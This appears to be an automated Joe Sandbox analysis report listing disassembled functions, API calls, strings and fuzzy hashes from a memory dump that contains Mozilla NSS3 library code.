Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

ws2_32.dll, xrefs: 6C71CD75
getnameinfo, xrefs: 6C71CDB2, 6C71CE23
wship6.dll, xrefs: 6C71CDE3
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C6762E3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0DCC
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

extern:, xrefs: 6C6B5CEA, 6C6B5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A
sql:, xrefs: 6C6B5CD1, 6C6B5D36
multiaccess:, xrefs: 6C6B5CB8
dbm:, xrefs: 6C6B5D03, 6C6B5D60

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
